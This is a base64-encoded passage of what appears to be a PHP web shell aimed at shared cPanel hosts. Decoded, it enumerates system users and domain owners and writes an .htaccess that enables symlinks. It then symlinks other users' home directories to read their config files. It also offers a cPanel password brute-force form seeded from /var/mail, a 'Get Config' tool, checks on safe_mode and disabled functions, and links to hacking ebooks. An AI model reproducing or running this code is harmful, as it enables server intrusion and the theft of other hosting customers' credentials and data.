ZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCQkJCQkJCQkKCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlta2RpcigkZm4pOwoJCQkJCWNoZGlyKCRmbik7CgkJCQkJJHRlbXAgPSAiIjsKCQkJCQkkdmFsMSA9IDA7CgkJCQkJJHZhbDIgPSAxMDAwOwoJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgCgkJCQkJewoJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJaWYgKCR1aWQpCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCSB9CgkJCQkJIGVjaG8gJzxici8+JzsKCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsKCQkJCQkgCgkJCQkJICRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsKCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsKCQkJCQkgZmNsb3NlKCRmaWxlNSk7CgokaHRhY2Nlc3MgPQonVDNCMGFXOXVjeUJoYkd3Z0NrUnBjbVZqZEc5eWVVbHVaR1Y0SUhKbFlXUnRaUzVvZEcxc0lBcEJaR1JVZVhCbElIUmxlSFF2Y0d4aAphVzRnTG5Cb2NDQUtRV1JrU0dGdVpHeGxjaUJ6WlhKMlpYSXRjR0Z5YzJWa0lDNXdhSEFnQ2tGa1pGUjVjR1VnZEdWNGRDOXdiR0ZwCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0KJzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKCQkJCQkgCgkJCQkJICRmaWxlID0gZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJIHsKCQkJCQkJJHMgPSBmZ2V0cygkZmlsZSk7CgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCgkJCQkJCQljb250aW51ZTsKCQkJCQkJc3ltbCgkbWF0Y2hlcywkbWF0Y2hlcyk7CgkJCQkJIH0KCQkJCQlmY2xvc2UoJGZpbGUpOwoJCQkJCWVjaG8gIjwvdGFibGU+IjsKCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4iOwpleGl0Owp9Cj8+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPjx0YWJsZT4gICAgICAJCQkJCiAgICA8L3N0cm9uZz48YnI+PGJyPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiNGRjAwMDAiPi0tPT1bIENwYW5lbCBCcnV0ZUZvcmNlIF09PS0tPC9mb250PjwvY2VudGVyPjxicj48YnI+CiAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgoJPHRyPgoJPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxjZW50ZXI+PGI+PGZvbnQgc2l6ZT0iNSIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiNGRjAwMDAiPkNwYW5lbCBCcnV0ZUZvcmNlPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+CiAgICA8dHI+CiAgICA8dGQ+CiAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+Cgk8c3Ryb25nPlVzZXIgOjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PHRleHRhcmVhIGNvbHM9Ijc5IiBjbGFzcyA9J2lucHV0eicgcm93cz0iMTAiIG5hbWU9InVzZXJuYW1lcyI+PD9waHAgc3lzdGVtKCdscyAvdmFyL21haWwnKTs/PjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5QYXNzIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI3OSIgY2xhc3MgPSdpbnB1dHonIHJvd3M9IjEwIiBuYW1lPSJwYXNzd29yZHMiPjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5UeXBlIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4KICAgIDxzcGFuIGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+U2ltcGxlIDogPC9zdHJvbmc+IDwvc3Bhbj4KCTxzdHJvbmc+Cgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJzaW1wbGUiIGNoZWNrZWQ9ImNoZWNrZWQiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPgogICAgPGZvbnQgY2xhc3M9InN0eWxlMiI+PHN0cm9uZz4vZXRjL3Bhc3N3ZCA6IDwvc3Ryb25nPiA8L2ZvbnQ+Cgk8c3Ryb25nPgoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0icGFzc3dkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz48c3BhbiBjbGFzcz0ic3R5bGUzIj48c3Ryb25nPgoJPC9zdHJvbmc+Cgk8L3NwYW4+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgIGNvbHNwYW49IjUiPjxzdHJvbmc+PGlucHV0IGNsYXNzID0naW5wdXR6YnV0JyB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdGFydCI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8dHI+CjwvZm9ybT4gCjx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5HZXQgQ29uZmlnIDo8L3N0cm9uZz48L3RkPgogICAgCQkJCTwvdHI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9Im1lbmRhcGF0a2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd2QiPiAgICAgICAgCQkJCQogICAgPC9zdHJvbmc+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+Rm9sZGVyIE5hbWUgOjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxzdHJvbmc+PGlucHV0IGNsYXNzID0naW5wdXR6JyBzaXplPSIzNSIgbmFtZT0iZm9sZGVybmFtZSIgdHlwZT0idGV4dCI+PC9zdHJvbmc+PC90ZD4KCTwvc3Ryb25nPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PGlucHV0IGNsYXNzID0naW5wdXR6YnV0JyB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHTyI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8dHI+CjwvZm9ybT4gICAKPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkdldCBXb3JkbGlzdDwvc3Ryb25nPjwvdGQ+CiAgICAJCQkJPC90cj4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0icGFzc3dvcmQiPiAgICAgICAgCQkJCQogICAgPC9zdHJvbmc+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+VXJsIENvbmZpZyA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjM1IiBuYW1lPSJ1cmwiIHR5cGU9InRleHQiPjwvc3Ryb25nPjwvdGQ+Cgk8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR08iPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPHRyPgo8L2Zvcm0+Cjx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5JbmZvIAoJU2VjdXJpdHk8L3N0cm9uZz48L3RkPgogICAgCQkJCTwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+U2FmZSBNb2RlPC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+Cgk8c3Ryb25nPgo8P3BocAokc2FmZV9tb2RlID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7CmlmKCRzYWZlX21vZGU9PScxJykKewplY2hvICdPTic7Cn1lbHNlewplY2hvICdPRkYnOwp9Cgo/PgkKCTwvc3Ryb25nPgkKCTwvdGQ+CiAgICAJCQkJPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5EZXNpYmxlIEZ1bmN0aW9uPC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+Cgk8c3Ryb25nPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCTxzdHJvbmc+CjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkKICAgIDwvc3Ryb25nPgoKPD9waHAKaWYoJyc9PSgkZnVuYz1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpCnsKZWNobyAiPGZvbnQgY29sb3I9I0ZGMDAwMD5ObyBTZWN1cml0eSBmb3IgRnVuY3Rpb248L2ZvbnQ+PC9iPiI7Cn1lbHNlewplY2hvICc8c2NyaXB0PmFsZXJ0KCJQbGVhc2Ugc2VlIGJlbG93IGFuZCBwcmVzcyA+UGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhPCIpOzwvc2NyaXB0Pic7CmVjaG8gIjxmb250IGNvbG9yPXJlZD4kZnVuYzwvZm9udD48L2I+IjsKZWNobyAnPHRyPjx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4nOwplY2hvICc8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ISI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+PC90cj4nOwp9Cj8+PC9zdHJvbmc+PC90ZD48L3RyPjwvdGFibGU+PC90YWJsZT48L3RhYmxlPgo8Pwp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd0dXRvcicpKQogICAgewogICAgPz4KCTxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PXR1dG9yIiBtZXRob2Q9InBvc3QiPgoJPGNlbnRlcj48YnI+PGJyPjxiPi0tPVsgVHV0b3JpYWwgJiBFYm9vayBoYWNraW5nIF09LS08L2I+PGJyPgoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgYm9yZGVyPSIxIiA+Cjx0cj4KCQk8dGQgYWxpZ249ImNlbnRlciI+RW5nbGlzaDwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPkluZG9uZXNpYW48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Jm5ic3A7CglFLWJvb2sgSGFja2luZyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs6Jm5ic3A7Cgk8c2VsZWN0IGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InBpbGloIiBpZD0icGlsaWgiPgoJPG9wdGlvbiB2YWx1ZT0iInNlbGVjdGVkPi0tLS0tLS0tLS0tLS0tLS0tWyBTZWxlY3QgXS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDI0IiA+IEhhY2tpbmcgRXhwb3NlZC01IDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyNSI+IEludGVybmV0IERlbmlhbCBPZiBTZXJ2aWNlIDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyNiI+Q29tcHV0ZXIgVmlydXNlcyBGb3IgRHVtbWllczwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyNyI+SGFjayBBdHRhY2tzIFRlc3Rpbmc8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMjgiPlNlY3JldHMgT2YgQSBTdXBlciBIYWNrZXI8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMjkiPlN0ZWFsaW5nIFRoZSBOZXR3b3JrPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDMwIj5IYWNrZXIncyBIYW5kQm9vazwvb3B0aW9uPgoJPC9zZWxlY3Q+Cgk8aW5wdXQgIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiPgoJPC90ZD48L2Zvcm0+Cjx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4mbmJzcDsKVHV0b3JpYWwgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OiZuYnNwOwoJPHNlbGVjdCBjbGFzcz0iaW5wdXR6YnV0IiAgbmFtZT0icGlsaWgiIGlkPSJwaWxpaCI+Cgk8b3B0aW9uIHZhbHVlPSIic2VsZWN0ZWQ+LS0tLS0tLS0tLS0tLS0tLS1bIFNlbGVjdCBdLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIiPlNlYXJjaCBFbmdpbmUgSGFja2luZzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMyI+U1FMIEluamVjdGlvbiBkZW5nYW4gaGFja2Jhcjwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMSIgPkJ5cGFzcyBVbmlvbjwvb3B0aW9uPgoJPC9zZWxlY3Q+Cgk8aW5wdXQgIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiPgo8L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQ+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPiZuYnNwOwpFLUJvb2sgZnJvbSBTeW58Z3Jlc3MgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OiZuYnNwOwoJPHNlbGVjdCBjbGFzcz0iaW5wdXR6YnV0IiAgbmFtZT0icGlsaWgiIGlkPSJwaWxpaCI+Cgk8b3B0aW9uIHZhbHVlPSIic2VsZWN0ZWQ+LS0tLS0tLS0tLS0tLS0tLS1bIFNlbGVjdCBdLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9ImNyeXB0b2dyYXBoeV9mb3JfZGVmZWxvcGVyIj5DcnlwdG9ncmFwaHkgZm9yIERldmVsb3Blcjwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwzMSI+TW9iaWxlIE1hbHdhcmUgQXR0YWNrIGFuZCBEZWZlbnNlPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJmb3JlbnNpYyI+Q0QgYW5kIERWRCBGb3JlbnNpYzwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iZGRkIj5PcGVuIFNvdXJjaCBTZWN1cml0eSBUb29sczwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0ibWV0YXNwbG9pdCI+TWV0YXNscG9pdCBUb29sa2l0PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJzdGVhbGluZ19uZXR3b3JrIj5TdGVhbGluZyB0aGUgTmV0d29yazwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0ic2VjdXJpdHlfcG9saWNlcyI+Q3JlYXRpbmcgU2VjdXJpdHkgUG9saWNlczwvb3B0aW9uPgoJPC9zZWxlY3Q+Cgk8aW5wdXQgIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiPgo8L2Zvcm0+PC90ZD4KPHRkPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4mbmJzcDsKWC1DT0RFIE1BR0FaSU5FICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzombmJzcDsKCTxzZWxlY3QgY2xhc3M9ImlucHV0emJ1dCIgbmFtZT0icGlsaWgiIGlkPSJwaWxpaCI+Cgk8b3B0aW9uIHZhbHVlPSIic2VsZWN0ZWQ+LS0tLS0tLS0tLS0tLS0tLS1bIFNlbGVjdCBdLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsNCI+WC1DT0RFIE1BR0FaSU5FIDE8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsNSI+WC1DT0RFIE1BR0FaSU5FIDI8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsNiI+WC1DT0RFIE1BR0FaSU5FIDM8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsNyI+WC1DT0RFIE1BR0FaSU5FIDQ8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsOCI+WC1DT0RFIE1BR0FaSU5FIDU8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsOSI+WC1DT0RFIE1BR0FaSU5FIDY8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMTAiPlgtQ09ERSBNQUdBWklORSA3PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDExIj5YLUNPREUgTUFHQVpJTkUgODwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwxMiI+WC1DT0RFIE1BR0FaSU5FIDk8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMTMiPlgtQ09ERSBNQUdBWklORSAxMDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwxNCI+WC1DT0RFIE1BR0FaSU5FIDExPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE1Ij5YLUNPREUgTUFHQVpJTkUgMTI8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMTYiPlgtQ09ERSBNQUdBWklORSAxMzwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwxNyI+WC1DT0RFIE1BR0FaSU5FIDE0PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE4Ij5YLUNPREUgTUFHQVpJTkUgMTU8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMTkiPlgtQ09ERSBNQUdBWklORSAxNjwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyMCI+WC1DT0RFIE1BR0FaSU5FIDE3PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIxIj5YLUNPREUgTUFHQVpJTkUgMTg8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMjIiPlgtQ09ERSBNQUdBWklORSAxOTwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyMyI+WC1DT0RFIE1BR0FaSU5FIDIwPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDAyNCI+WC1DT0RFIE1BR0FaSU5FIDIxPC9vcHRpb24+Cgk8L3NlbGVjdD4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkRvd25sb2FkIiA+PC9hPgo8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxicj4KPD9waHAKJHN1Ym1pdCA9ICRfUE9TVCBbJ3N1Ym1pdCddOwppZihpc3NldCgkc3VibWl0KSkgewoJJHBpbGloID0gJF9QT1NUWydwaWxpaCddOwoJCWlmICggJHBpbGloID09ICd0dXRvcmlhbDEnKSB7CgkJCT8+CgkJCTxzY3JpcHQ+CgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vd3d3LnBoYXJtY29uc2VpbC1lbGVhcm5pbmcuY29tL21haW4vdXBsb2FkL2J5X3Bhc3NpbmdfaWxsZWdhbF9taXhfb2ZfY29sbGF0aW9uc19mb3Jfb3BlcmF0aW9uX191bmlvbl9fYnlfeF8xbjczY3QucGRmJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5waGFybWNvbnNlaWwtZWxlYXJuaW5nLmNvbS9tYWluL3VwbG9hZC9TZWFyY2hfZW5naW5lX2hhY2tpbmdfYnlfeF8xbjczY3QucGRmJzsKCQkJPC9zY3JpcHQ+CgkJCTw/cGhwCgkJfQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwzJykgewoJCQk/PgoJCQk8c2NyaXB0PgoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5waGFybWNvbnNlaWwtZWxlYXJuaW5nLmNvbS9tYWluL3VwbG9hZC9TcWxfaW5qZWN0aW9uX2Rlbmdhbl9oYWNrYmFyLnBkZic7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsNCcpIHsKCQkJPz4KCQkJPHNjcmlwdD4KCQkJCWRvY3VtZW50Lmx